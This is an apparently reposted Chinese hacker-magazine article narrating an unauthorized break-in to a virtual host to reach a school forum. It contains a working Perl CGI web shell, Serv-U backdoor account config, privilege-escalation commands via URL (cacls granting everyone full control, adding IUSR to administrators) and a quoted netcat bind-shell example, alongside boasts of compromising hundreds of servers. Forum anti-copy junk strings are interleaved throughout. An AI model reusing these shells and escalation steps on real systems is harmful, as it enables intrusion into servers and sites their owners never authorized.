中国网络渗透测试联盟

标题: 剑走偏锋——灵巧的旁注攻击 [打印本页]

作者: admin    时间: 2012-9-15 14:11
标题: 剑走偏锋——灵巧的旁注攻击
剑走偏锋——灵巧的旁注攻击
* H* V2 U  O# i本文作者:angel# @: I8 h$ }' P9 _  X2 c
文章性质:原创
9 j6 l& r4 B! X, j4 Q  @: L发布日期:2004-11-09 + K8 f8 y: E% |
注意:
! G- T* L/ V( n* d( ~6 C) p& F本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。/ ^% s8 j/ E" V. i# n3 j- J+ J
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。% V$ J4 {/ e+ l1 i

+ x" N. \# j0 \$ n# f) x4 i  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。 " d4 A: e) j/ s6 b( {
/ i+ H" m( ]8 E& k4 s
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
& c' O7 ?& C  P+ `1 h; J' M* t" v4 a  J7 s
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 - l  @  g8 E; G: u* y5 n, [7 h
9 K7 r. Z+ a' o# A
  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
* H3 B0 b3 o3 R4 U6 D
: ]7 w  O; ^0 O% o0 {7 a3 m  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
* r8 [7 q# p8 l; G$ A2 J& L. a
, P$ H; E6 D4 N+ `$ t6 X; f  没有目的的跳转目录着…… * M1 g8 i4 e# a* \

: L( }0 W  p+ M6 a- ^  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了…… , [  E8 {, v9 m; y, v

8 A4 C1 J% Z- S8 d% w  结束了吗?不,我试着 FTP 一下:
* U% t8 P& M0 N' d; H
: h+ w: _4 G) [  t6 ^( tMicrosoft Windows 2000 [Version 5.00.2195]
& J3 Y( }/ N8 V, J(C) 版权所有 1985-2000 Microsoft Corp.
& G- e: J1 y+ v" f& [; g
* b- U7 o* o3 W1 G' H& @4 m1 L6 @C:\Documents and Settings\Administrator>ftp www.school.com9 s# e" \; G4 l; }
Connected to www. school.com. 1 P3 p& j7 w2 @! e2 E1 K
220 Welcome to FTP Server... ! f  Z6 T8 k6 F5 H" e5 c3 T
User (www.bjtrq.com:(none)):
& X+ \. w7 x9 |- A( X331 User name okay, need password.
* U3 y8 V0 m- d, ]9 ~( VPassword: % |# E4 y! f% e# ]& @4 `7 K* w3 u
530 Not logged in.
) u  W5 V9 U0 H' I5 v2 zLogin failed.
+ p/ C( ^) |6 I, s' W7 \6 Nftp> bye
5 m/ H3 c6 N2 _, |$ c* s221 Goodbye!
- {1 O; ]' ^( i* r   W3 k$ k9 S  a$ Y. u7 v' X
( @2 C4 d. t& l: G' ^
  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… ; |; a) J! f& v) E5 a3 n
2 ^+ M6 e0 B! C: t7 Z
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 / J: ]3 _" q9 L  I! q* g' [

$ x) z8 z* m# |! t8 k( S, }Application Data
7 |' z3 I8 t/ G- w3 ZDocuments
4 Y, Z2 m5 V) q, t8 fDRM/ I" ^# E! e( L- c" J- s+ Q8 i
Favorites
2 A" p& I4 w* c# v7 y0 dTemplates
+ E' F4 `9 t- W! L" t# j% X$ A「开始」菜单9 _  @# E. o: C0 ^# z/ a
桌面* T* H0 ~+ n" `+ ]( y. I. k1 ]/ |# h

' g$ ?$ C4 q) l, _# b2 M6 }9 V1 h
) B' X2 y1 V, P! W' z% |  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 4 i& e8 @9 {5 t8 ?2 c

2 [% b& p1 |4 v$ k4 wActiveState ActivePerl 5.8" {4 E5 I# P+ _; r) b
Administrative Tools
- ]# K- q# P0 z/ |  ^Deerfield.com
: \5 C0 R- {( \/ vDTemp: W& [1 }( c3 [$ e* B
IPSentry4 _! J! e: E$ A- K& K4 x4 e
MBM 5- {3 u1 @* H$ F% N( T6 T: ^
NetMeter
+ b# ~. Y1 r7 ~. p) _Network ICE
& W. H8 m1 M' L; y" G2 p9 h7 [: H! ^* IPersits Software AspEmail) A7 @. l5 G! H; D, b, Z$ n, @5 O
Persits Software AspJpeg6 {; L/ O# ^6 I4 x/ D$ c
Serv-U FTP Server
$ L, R; @! g* K5 Y5 RSymantec Client Security
% I+ o8 f& O' l1 v/ iWindows 优化大师
. q( y3 X, s6 C& Y9 ZWinRAR; W5 h7 s+ ]9 Y
启动
& h' e8 ~1 l4 R4 `9 _9 w: J管理工具
, C' l) Z% ]7 X2 _% {附件$ h. W- T2 W- q) _  n* u
* Q: h$ A1 d- o' E

9 Z/ z8 {! X9 F4 a6 y% e  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 , z+ C- Q* k+ P% O5 y/ h: C
6 R1 e7 h0 ?( b- X" E
  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 5 }2 g. j0 H* h3 Y0 z, ?0 A

3 a8 g) n8 P* r+ }4 S" [7 xUser281=angel|1|0 ' |. t& [; Q0 x5 W' m
/ ]  `) j: v" i" {
% m) D* Z" G! W
  然后加上 + R: z+ f) W. d- \+ w

' o; ]( Z' Q" t, f) q( F; Y[USER=angel|1]/ F" k! n* m4 F7 a
Password=ng98F85379EA68DBF97BAADCA99B69B805$ r+ K. D( r$ V3 F
HomeDir=D:\websites5 ^$ _6 T) l: Q3 T
RelPaths=1
/ a0 L2 T. |& nTimeOut=600
. j$ q1 K, F/ I0 C! y$ \Maintenance=System
! [1 S5 j- y2 A) tAccess1=D:\websites|RWAMELCDP
% D& k7 z2 q/ s& i4 w5 j: ^& oSKEYValues=
' _9 I9 e# l3 V, w 0 T: d: K, F7 V- e0 @, j
) A! q7 E' I, ^/ r( f
  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… 9 _+ P6 Q: v. N& ^5 A# }6 V

% ?8 S6 o# m7 U( U& M4 D  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
6 R" N6 k4 [% D5 m8 ?; U
$ w. M4 m8 N' U  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ( I, j& x) y+ y+ a  l. E
' F8 T" w) n) q
  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:   B7 g! t1 W, Q  t( _
% b0 c  r* L" b" d- N" l& e
#!/usr/bin/perl
$ [2 K- O  W! `- a9 G3 Dbinmode(STDOUT);
, m* o# Q, P# {, }6 p4 [6 Hsyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
' ^! C' {# K+ t- v( c$_ = $ENV{QUERY_STRING};+ ~. r$ H5 d4 Q+ r+ C* H
s/%20/ /ig;+ s4 F9 a* T1 a2 O, f
s/%2f/\//ig;
, i, b- N( s: P4 Q: G2 _$execthis = $_;
# R4 n3 g9 S0 _! K" T0 v' asyswrite(STDOUT, "<HTML><PRE>\r\n", 13);$ ?! a( k3 Z6 K( f  f8 ?: @
open(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
" u9 Y$ @; K5 g( i) ~/ Ysystem($execthis);) k' K0 \% a6 q! l0 o* Y# e( _
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);9 k) o5 t0 `4 Y( W2 h2 B+ Q
close(STDERR);) k! h0 t; D1 T" b0 @: U. V7 @8 e
close(STDOUT);
1 M7 r1 V6 b6 t0 ~exit;8 o% Y& V/ q& z6 E

6 P  }7 H4 @, F& G7 n( n! @1 N" Y2 W- x1 _) q9 I
  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! # t& r6 r8 L: {, O- B; m

2 ^$ h6 D2 Y: [9 G; T  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: + g' }0 _* f! _3 F  d0 F

# R+ K$ t% y) g: Z7 L8 D" U# M1 P1 E9 Whttp://anyhost//cmd.pl?d:\user\bin\su.exe ' y- F3 [3 j1 v
( B4 V6 @  z8 w+ [% N- Q9 u
$ W9 I; R7 J. k9 B' I$ Q
  返回: / g7 t7 o9 H2 _+ i1 s6 d

0 A, I* u+ ]0 VServ-u >3.x Local Exploit by xiaolu ' p% p1 D: Z+ I

: [0 Q4 u* d) {: |USAGE: serv-u.exe "command"
' {0 {7 i$ ~- p  h* R2 [; t3 }: j0 c4 R2 Y/ v
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
9 t5 O7 X' T, V! h) l: Y ! ~" w# h3 D/ ~. M

1 T) x6 ]8 L- y/ C( T6 L7 v9 n. q  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 4 x8 P; g. d5 x

, p0 p4 K& W* r$ }http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
- x' V7 M+ o+ k0 W4 j
6 ?2 a' @/ ^% s1 P; [* Q+ Fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
2 ]0 U+ B0 g, W7 V6 f
: j; E$ J& p) U2 X" F6 u6 N3 a$ Dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
; p& e* f; R$ M; D4 s' r* ^1 ?! X2 N/ t* r( ^
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" ) U' [) B4 _) e5 ?

+ x+ q* d6 [: e$ U5 F0 N; f8 H/ g- [  n, q7 ^
  返回下面的信息,就表示成功了!!!
( M& F! t; K, P+ ^+ v6 @4 c( H
0 q' b1 Z5 ~* C# s* p+ Z/ KServ-u >3.x Local Exploit by xiaolu
5 C5 O; N& Z  m% H$ X& b4 i3 L) Z1 C
<220 Serv-U FTP Server v5.2 for WinSock ready... : Y" y6 ]* T9 ^( H8 q/ l4 D+ P% z
2 A6 V  W, U1 W8 C$ M' T/ e. N$ [
>USER LocalAdministrator
+ |0 D7 U9 B4 g: @) v* w) R. Y; {5 k7 p, i7 a& L* t0 L& P
<331 User name okay, need password.
# ~( u* b! _' H0 y! i# T8 E+ J. Z! D; l( F
******************************************************
) t3 v0 |% Q1 I5 x1 N
; \5 ]3 I4 p+ v' M0 J. ~. h>PASS #l@$ak#.lk;0@P
/ J( W; x+ h6 V; C+ _2 a7 \
" r0 d* [" d( J% n; P" z<230 User logged in, proceed. 8 S7 \4 O+ `) H4 ~, z) s# v
+ Q4 B$ w/ J9 O* x0 B1 }
****************************************************** 5 W+ \9 Y/ l2 o9 B( _+ d9 E

1 W3 U2 h8 s* D+ K>SITE MAINTENANCE . y9 i, q2 y5 o
* i- v9 }7 `* \" H
****************************************************** 1 C5 `7 n6 u  [; Z8 ?% y
7 R8 }6 r# D7 q
[+] Creating New Domain...
' H2 ]3 P1 N# G/ I3 C
0 H) ~/ l5 ?4 {<200-DomainID=2
  D2 ^" U) r& v2 H2 j6 p0 e8 L5 u& i' n
<220 Domain settings saved
' B& \( e, {* |5 t( U1 g1 l, U6 v$ G- R. i2 r  _
******************************************************
( F+ X( D- h7 u* g8 E1 ^
# z2 n; f* j. L! f; w- R[+] Domain xl:2 Created
( |" a, k% u! q5 r7 ?, c. U, q# j6 h/ l9 c( e
[+] Creating Evil User
: H& E5 ?* m. \0 b, m# R
8 E, Q: H: O: e3 v<200-User=xl
1 r2 P5 ]2 f( o+ j$ }( {' Q
* F8 z2 u: O8 _/ y200 User settings saved % X0 a' P0 b3 _/ K# S4 Z& m/ h
' F0 h; V7 h% O5 L1 E
****************************************************** / p8 d' B: s8 h2 y9 V
8 ^, V: \( C  S( m4 L! Z- g# M# x
[+] Now Exploiting...
! ~2 l$ }5 T6 k& Z0 |% _: [
. b+ B- i* H: m& A% E% @" [& X8 G>USER xl - z- p# D  h, S* y, ?( `, e" h0 G1 Y
6 L4 z2 \2 ^. X3 D6 C; Y' N9 H
<331 User name okay, need password.
7 {' W0 K' g3 Q+ g. r" @( B6 N, n1 a! q. M
******************************************************
2 [5 y: |( F4 I- ?& H& J/ n1 l0 n& I$ m3 W' ]0 W  D# b
>PASS 111111 0 E7 f8 P9 j7 h/ R) t" P+ M

& p8 D0 C% f, Q3 f+ T<230 User logged in, proceed. $ i+ S+ d3 [9 h8 i1 T
3 Z/ X  o9 `& I/ @' F: J. o  ]
****************************************************** 6 V) I' a! v5 q+ M

3 g9 ]: U9 C: Z4 K3 G6 e, l& l[+] Now Executing: cacls.exe c: /E /T /G everyone:F 4 B) n# q% `+ I! l6 S: ]" ?$ p/ n
. p) G+ e2 {- {" g+ f) B9 c7 y+ N
<220 Domain deleted 4 G' Z. ~8 r, a. r  D$ |% I; E

4 J0 s* w: ~8 _5 B3 O. I- U# ~# E% {******************************************************
7 U: J; }* l6 f) ]; b* i# Q . k  w# B$ C1 x0 c) s) P" h

' o/ n- A! ?2 W3 e& t! s7 M  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 9 g# ?  j5 b" O! |1 y
* y' G, E* K- A& b
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
$ m* v8 B$ M6 @9 W% J1 u ! v& Q, Y# K$ b; l& C7 P  ~

% \, V/ J# M0 ~) Z( O  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 % i) J9 h% E8 g$ ^

  h0 i* ]/ b0 a2 i0 W4 W5 |  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。9 B1 K$ Q" G. P) d8 j% ^
+ A' ]- I* Z3 R4 M' [; G
  
) A* ~5 R, v3 b  Y0 h




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2